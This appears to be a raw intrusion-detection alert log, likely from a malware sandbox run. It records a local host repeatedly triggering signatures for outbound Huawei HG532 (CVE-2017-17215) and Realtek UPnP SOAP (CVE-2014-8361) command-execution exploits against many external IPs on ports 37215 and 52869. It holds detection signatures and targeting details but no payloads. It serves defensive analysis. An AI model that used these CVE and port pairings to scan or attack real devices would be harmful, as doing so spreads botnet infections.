Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.245.203.130

Timestamp:	07/20/24-23:01:24.876750
SID:	2835222
Source Port:	58978
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 204.80.169.189

Timestamp:	07/20/24-23:01:57.297792
SID:	2027339
Source Port:	54704
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 191.219.30.38

Timestamp:	07/20/24-23:01:40.320408
SID:	2835222
Source Port:	58788
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 219.159.165.91

Timestamp:	07/20/24-23:00:59.211046
SID:	2829579
Source Port:	44780
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 155.22.111.5

Timestamp:	07/20/24-23:01:44.783923
SID:	2831300
Source Port:	32792
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 153.234.108.85

Timestamp:	07/20/24-23:01:46.403723
SID:	2027339
Source Port:	53572
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 132.64.30.154

Timestamp:	07/20/24-23:02:08.135557
SID:	2025132
Source Port:	53152
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 129.40.249.193

Timestamp:	07/20/24-23:01:47.535939
SID:	2027339
Source Port:	53784
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 203.166.233.2

Timestamp:	07/20/24-23:01:25.752492
SID:	2025132
Source Port:	52942
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 216.95.253.44

Timestamp:	07/20/24-23:01:20.110860
SID:	2835222
Source Port:	53424
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 150.183.54.123

Timestamp:	07/20/24-23:01:41.648203
SID:	2027339
Source Port:	41728
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 69.58.59.239

Timestamp:	07/20/24-23:01:53.494330
SID:	2831300
Source Port:	51492
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.232.66.29

Timestamp:	07/20/24-23:01:06.988055
SID:	2829579
Source Port:	39754
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.124.34.30

Timestamp:	07/20/24-23:01:00.640312
SID:	2835222
Source Port:	57096
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.89.86.7

Timestamp:	07/20/24-23:01:40.322860
SID:	2829579
Source Port:	48070
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.78.221.227

Timestamp:	07/20/24-23:01:04.031511
SID:	2829579
Source Port:	44118
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 167.41.22.33

Timestamp:	07/20/24-23:01:11.631728
SID:	2835222
Source Port:	33218
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 123.91.96.233

Timestamp:	07/20/24-23:01:42.411586
SID:	2027339
Source Port:	55468
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 48.97.254.151

Timestamp:	07/20/24-23:01:58.945733
SID:	2025132
Source Port:	51978
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 100.45.46.163

Timestamp:	07/20/24-23:01:31.328855
SID:	2831300
Source Port:	33584
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 123.31.253.14

Timestamp:	07/20/24-23:01:08.684499
SID:	2831300
Source Port:	34566
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.113.24.234

Timestamp:	07/20/24-23:01:27.654173
SID:	2835222
Source Port:	35068
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 216.151.5.50

Timestamp:	07/20/24-23:01:03.231165
SID:	2025132
Source Port:	38630
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 126.252.220.138

Timestamp:	07/20/24-23:01:45.270636
SID:	2027339
Source Port:	41154
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.0.183.138

Timestamp:	07/20/24-23:01:34.060991
SID:	2829579
Source Port:	45286
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 66.34.14.57

Timestamp:	07/20/24-23:01:45.683188
SID:	2027339
Source Port:	49128
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.121.108.79

Timestamp:	07/20/24-23:01:02.048367
SID:	2835222
Source Port:	48934
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.240.149.129

Timestamp:	07/20/24-23:00:57.221570
SID:	2829579
Source Port:	42574
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.130.131.66

Timestamp:	07/20/24-23:01:20.202325
SID:	2829579
Source Port:	34146
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 24.105.77.87

Timestamp:	07/20/24-23:03:53.978924
SID:	2025132
Source Port:	37004
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 75.3.82.5

Timestamp:	07/20/24-23:01:49.921076
SID:	2027339
Source Port:	44200
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 104.24.229.93

Timestamp:	07/20/24-23:01:42.535137
SID:	2027339
Source Port:	43620
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 167.63.84.166

Timestamp:	07/20/24-23:01:10.539170
SID:	2025132
Source Port:	53906
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 186.85.31.59

Timestamp:	07/20/24-23:01:57.022868
SID:	2027339
Source Port:	51944
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.199.182.217

Timestamp:	07/20/24-23:01:02.048367
SID:	2829579
Source Port:	33230
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 92.182.23.52

Timestamp:	07/20/24-23:01:50.246033
SID:	2027339
Source Port:	54622
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 124.52.73.80

Timestamp:	07/20/24-23:01:07.033766
SID:	2829579
Source Port:	54080
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.17.98.184

Timestamp:	07/20/24-23:00:59.187842
SID:	2829579
Source Port:	52234
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.40.31.82

Timestamp:	07/20/24-23:01:07.082045
SID:	2835222
Source Port:	60840
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.123.230.172

Timestamp:	07/20/24-23:01:31.982479
SID:	2835222
Source Port:	39280
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 162.200.88.148

Timestamp:	07/20/24-23:01:59.704241
SID:	2027339
Source Port:	52420
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.70.153.225

Timestamp:	07/20/24-23:01:07.054782
SID:	2829579
Source Port:	38094
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 175.186.207.187

Timestamp:	07/20/24-23:01:43.944379
SID:	2027339
Source Port:	33872
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.201.163.171

Timestamp:	07/20/24-23:01:34.050313
SID:	2829579
Source Port:	50522
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 25.68.235.59

Timestamp:	07/20/24-23:01:08.572790
SID:	2027339
Source Port:	36436
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.154.59.174

Timestamp:	07/20/24-23:01:20.096752
SID:	2835222
Source Port:	59220
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 158.186.31.24

Timestamp:	07/20/24-23:01:48.177682
SID:	2027339
Source Port:	58450
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 2.129.228.59

Timestamp:	07/20/24-23:01:10.641552
SID:	2025132
Source Port:	37582
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 219.105.54.148

Timestamp:	07/20/24-23:01:02.462458
SID:	2025132
Source Port:	56652
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 63.237.109.125

Timestamp:	07/20/24-23:01:46.158533
SID:	2025132
Source Port:	54570
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.195.164.122

Timestamp:	07/20/24-23:01:02.048214
SID:	2835222
Source Port:	49516
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 155.90.77.175

Timestamp:	07/20/24-23:01:48.649139
SID:	2831300
Source Port:	54854
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.45.105.246

Timestamp:	07/20/24-23:01:07.061779
SID:	2835222
Source Port:	46432
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.175.17.192

Timestamp:	07/20/24-23:01:20.119972
SID:	2835222
Source Port:	44554
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 116.148.59.65

Timestamp:	07/20/24-23:01:49.158487
SID:	2027339
Source Port:	50088
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.176.101.215

Timestamp:	07/20/24-23:00:59.161892
SID:	2835222
Source Port:	52752
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 109.17.111.246

Timestamp:	07/20/24-23:01:31.313163
SID:	2027339
Source Port:	48230
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 123.198.127.136

Timestamp:	07/20/24-23:01:47.005094
SID:	2025132
Source Port:	49358
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.178.183.186

Timestamp:	07/20/24-23:00:59.153608
SID:	2835222
Source Port:	53610
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 111.160.194.136

Timestamp:	07/20/24-23:01:04.950811
SID:	2027339
Source Port:	33400
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 9.91.73.111

Timestamp:	07/20/24-23:01:09.002255
SID:	2831300
Source Port:	38116
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 200.222.88.102

Timestamp:	07/20/24-23:01:46.725077
SID:	2027339
Source Port:	40848
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 75.171.235.169

Timestamp:	07/20/24-23:01:21.928521
SID:	2829579
Source Port:	42742
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.99.9.223

Timestamp:	07/20/24-23:01:00.633744
SID:	2829579
Source Port:	59806
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.155.8.82

Timestamp:	07/20/24-23:01:31.977603
SID:	2829579
Source Port:	52170
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.8.78.212

Timestamp:	07/20/24-23:01:04.247958
SID:	2835222
Source Port:	60760
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 160.189.204.148

Timestamp:	07/20/24-23:01:08.563416
SID:	2027339
Source Port:	38528
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 189.28.183.134

Timestamp:	07/20/24-23:01:02.223897
SID:	2025132
Source Port:	57776
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.47.112.243

Timestamp:	07/20/24-23:01:27.650871
SID:	2829579
Source Port:	49954
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 142.105.178.104

Timestamp:	07/20/24-23:01:42.111275
SID:	2831300
Source Port:	54216
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 108.242.179.170

Timestamp:	07/20/24-23:01:47.663629
SID:	2025132
Source Port:	34096
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 175.53.167.172

Timestamp:	07/20/24-23:01:55.903209
SID:	2027339
Source Port:	48072
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 138.65.97.97

Timestamp:	07/20/24-23:01:53.387026
SID:	2831300
Source Port:	56040
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 23.3.191.75

Timestamp:	07/20/24-23:01:42.131607
SID:	2025132
Source Port:	53892
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 130.200.160.126

Timestamp:	07/20/24-23:01:45.370481
SID:	2831300
Source Port:	56636
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.202.17.201

Timestamp:	07/20/24-23:01:11.818830
SID:	2835222
Source Port:	36700
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 155.161.7.211

Timestamp:	07/20/24-23:01:44.624686
SID:	2831300
Source Port:	57118
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 67.228.135.229

Timestamp:	07/20/24-23:01:45.134490
SID:	2025132
Source Port:	56872
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.189.171.193

Timestamp:	07/20/24-23:01:34.044717
SID:	2835222
Source Port:	59238
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 1.111.156.136

Timestamp:	07/20/24-23:01:48.308623
SID:	2025132
Source Port:	58142
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 161.89.104.148

Timestamp:	07/20/24-23:01:46.955966
SID:	2025132
Source Port:	55862
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 167.225.66.116

Timestamp:	07/20/24-23:02:07.942303
SID:	2027339
Source Port:	53118
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 103.218.156.193

Timestamp:	07/20/24-23:01:42.592736
SID:	2025132
Source Port:	35520
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 133.73.57.190

Timestamp:	07/20/24-23:01:45.887574
SID:	2027339
Source Port:	58218
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 172.124.39.209

Timestamp:	07/20/24-23:01:43.425298
SID:	2831300
Source Port:	43806
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 163.195.26.201

Timestamp:	07/20/24-23:01:49.172806
SID:	2831300
Source Port:	35860
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 169.160.238.67

Timestamp:	07/20/24-23:01:42.462291
SID:	2027339
Source Port:	51560
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 44.137.32.198

Timestamp:	07/20/24-23:01:21.954501
SID:	2835222
Source Port:	56672
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 24.42.93.65

Timestamp:	07/20/24-23:01:45.074222
SID:	2027339
Source Port:	45436
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 148.211.13.100

Timestamp:	07/20/24-23:01:03.247233
SID:	2027339
Source Port:	53918
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 125.81.157.125

Timestamp:	07/20/24-23:01:34.043969
SID:	2835222
Source Port:	49582
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 147.248.255.23

Timestamp:	07/20/24-23:01:47.193367
SID:	2027339
Source Port:	42084
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 38.189.198.237

Timestamp:	07/20/24-23:01:12.806062
SID:	2831300
Source Port:	46250
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 135.9.168.169

Timestamp:	07/20/24-23:01:01.758577
SID:	2025132
Source Port:	57210
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 65.202.231.124

Timestamp:	07/20/24-23:01:54.310738
SID:	2025132
Source Port:	51218
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.221.100.57

Timestamp:	07/20/24-23:01:40.372003
SID:	2835222
Source Port:	59172
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 32.132.194.251

Timestamp:	07/20/24-23:02:06.738802
SID:	2025132
Source Port:	42618
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 139.85.109.63

Timestamp:	07/20/24-23:01:44.940207
SID:	2831300
Source Port:	41092
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 105.84.86.167

Timestamp:	07/20/24-23:01:50.131564
SID:	2027339
Source Port:	51436
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 148.211.13.100

